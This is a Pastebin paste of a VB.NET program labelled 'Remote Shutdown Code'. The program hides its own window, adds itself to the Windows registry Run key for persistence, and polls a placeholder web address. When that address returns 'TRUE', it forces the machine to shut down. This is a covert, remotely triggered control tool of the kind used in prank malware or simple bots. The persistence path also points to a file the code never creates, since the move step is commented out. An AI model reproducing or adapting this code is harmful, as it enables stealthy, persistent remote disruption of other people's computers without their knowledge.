Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- 'Remote Shutdown Code.
- Imports Microsoft.Win32
- Public Class Form1
- Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
- Timer1.Start()
- Me.WindowState = FormWindowState.Minimized
- Me.Visible = False
- RunAtStartup(Application.ProductName, Application.ExecutablePath)
- 'IO.File.Move(Application.ExecutablePath, "C:\ProgramData\Remote Shutdown.exe")
- End Sub
- Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
- Dim request As System.Net.HttpWebRequest = System.Net.HttpWebRequest.Create("raw text link here")
- Dim response As System.Net.HttpWebResponse = request.GetResponse()
- Dim sr As System.IO.StreamReader = New System.IO.StreamReader(response.GetResponseStream())
- Dim ExecuteShutdown As String = sr.ReadToEnd()
- Dim currentversion As String = Application.ProductVersion
- If ExecuteShutdown.Contains("TRUE") Then
- System.Diagnostics.Process.Start("shutdown", "-f -s -t 500")
- Timer1.Stop()
- End If
- End Sub
- Public Sub RunAtStartup(ByVal ApplicationName As String, ByVal ApplicationPath As String)
- Dim CU As Microsoft.Win32.RegistryKey = Registry.CurrentUser.CreateSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run")
- With CU
- .OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
- .SetValue("RemoteShutdown", "C:\ProgramData\Remote Shutdown.exe")
- End With
- End Sub
- End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement